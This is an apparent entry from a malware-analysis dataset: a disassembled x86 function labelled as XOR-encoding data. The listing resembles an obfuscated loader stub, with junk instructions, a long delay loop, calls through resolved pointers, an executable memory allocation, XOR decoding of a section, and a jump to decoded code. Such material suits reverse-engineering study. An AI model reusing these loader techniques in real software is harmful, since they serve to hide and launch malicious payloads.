Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xaa22b873
or eax, eax
not eax
popal
add eax, 0xad4e916c
mov eax, 0xe2c9da91
mov eax, 0
mov esi, ebx
not edi
add edx, 0xd4a24479
inc edx
mov ecx, esi
not edx
mov edi, 0xccfb22cb
mov ebx, ecx
and edx, edx
sub edi, edx
add edi, 1
inc eax
and edx, edx
add edx, edi
cmp eax, 0x1003bf7
jne 0xa789c7
sub edi, 0x6ffc6d44
sub edx, edi
inc eax
sub esi, eax
mov esi, 0xa78796
and ecx, ecx
not eax
sub eax, 0xbf8ea004
mov edi, 0xa7898a
sub ecx, 0xea1e5e7f
mov eax, edx
sub ecx, 0xd0b10f7a
mov ebx, dword [esi]
not edx
and ecx, eax
mov eax, ecx
and ebx, 0xff
add edx, eax
add eax, 0x67a72045
add ecx, 0xb5cf2e20
xor dword [edi], ebx
mov ecx, edx
sub edx, eax
inc edi
mov ecx, eax
or eax, ecx
inc esi
or eax, ecx
inc eax
cmp edi, entry0
jl 0xa78a25
mov edx, eax
mov eax, ecx
add ecx, edx
add ecx, 0x542a5366
add eax, 1
add ecx, 0xf09ca275
dec ebx
sub edi, 0x276197da
not ecx
mov esi, 0xa7898e
add ebx, edx
not edx
or ebx, edx
mov esi, dword [esi]
mov ecx, 0x10202201
sub edx, ebx
and edx, edx
mov esi, dword [esi]
or ebx, ecx
not edx
not edi
push esi
or edx, edi
sub ebx, ecx
add edx, 1
mov esi, 0xa7898a
inc ecx
and edi, edi
mov esi, dword [esi]
mov edx, edi
mov ecx, edi
add edi, edi
mov esi, dword [esi]
mov ebx, edi
sub ecx, 0x6db510ef
add ecx, 0x94a698d6
push 0xa78992
dec edx
dec ecx
call esi
dec ecx
mov edx, 0xcfcd31f0
add ebx, ebx
pop esi
sub edi, edx
mov edx, ecx
push 0xa7899f
sub edx, 0x61c355a2
add edx, 0x7dd01aa7
push eax
add edi, edi
and edx, edi
call esi
dec ebx
sub ecx, 0xf2a9da89
sub edx, 0x873e60ae
push 0x40
and edi, ebx
add edi, ecx
mov ecx, ebx
push 0x3000
not ebx
sub edi, ebx
mov ebx, edx
push 0x2000082d
sub edx, 0x208b5d28
add edi, ebx
add edi, edi
sub esp, 4
mov dword [esp], 0
dec ecx
and edi, edi
mov edi, 0x643a983
call eax
or edi, ecx
add edi, edx
add eax, 0x2000077e
mov ecx, ebx
dec ecx
sub ecx, edi
mov esi, 0xbe43ebad
sub edx, edi
add edx, edx
add edi, 0x19976296
mov dword [eax], esi
or ebx, edi
and ebx, edi
mov ecx, ebx
mov esi, dword [eax]
sub edx, edi
or edx, ebx
sub ecx, 0xbcd49e89
cmp esi, 0xbe43ebad
je 0xa78b7b
mov edx, 0
mov byte [edx], bl
add edi, 0xba1601bf
or edx, edi
mov ebx, 0x81067152
not ecx
sub edx, ecx
and eax, eax
sub eax, 1
dec esi
mov ebx, section..reloc
add esi, eax
add eax, 0xe7f7b223
add eax, esi
mov ecx, 0xa78795
mov eax, 0x9274cace
add esi, 0xca5fcda4
not esi
mov edi, 0
and esi, eax
and eax, esi
add esi, 0x58534fb7
mov edx, 0xa78796
and eax, esi
not eax
lea edx, [edx + edi]
add eax, 0x18718833
mov eax, esi
mov edx, dword [edx]
sub eax, esi
mov esi, 0x2986d632
and edx, 0xff
add eax, eax
not esi
inc edi
sub esi, 1
dec esi
or esi, eax
cmp edi, 0x1f4
jne 0xa78c03
mov edi, 0
mov eax, esi
dec eax
sub esi, eax
mov eax, 0x9f373d66
xor dword [ebx], edx
dec eax
add eax, 0x60683a69
add ebx, 2
and eax, eax
mov esi, 0xa1cc9807
add eax, eax
cmp ebx, ecx
jl 0xa78bc5
mov eax, esi
mov eax, esi
not eax
sub eax, esi
mov eax, esi
mov esi, section..reloc
dec ebx
dec ebx
mov ecx, section..reloc
mov eax, ebx
or eax, ebx
mov edi, 0xa78795
mov ebx, 0x48fd711d
add eax, 1
add eax, 0x8a269a2f
mov edx, 0
sub eax, ebx
inc ebx
add ebx, 1
mov dl, byte [ecx]
add eax, ebx
not eax
mov byte [esi], dl
not ebx
mov ebx, 0x45f2a819
inc esi
add eax, 0xda3db9ba
add ebx, eax
add ecx, 2
not eax
mov eax, 0xb1af0d48
cmp ecx, edi
jle 0xa78c6b
mov ebx, 0xb743dd1d
dec eax
mov esi, 0x96c09a91
sub eax, 0x5293736c
push 0x8dc6a0
add esi, eax
inc esi
sub esi, eax
ret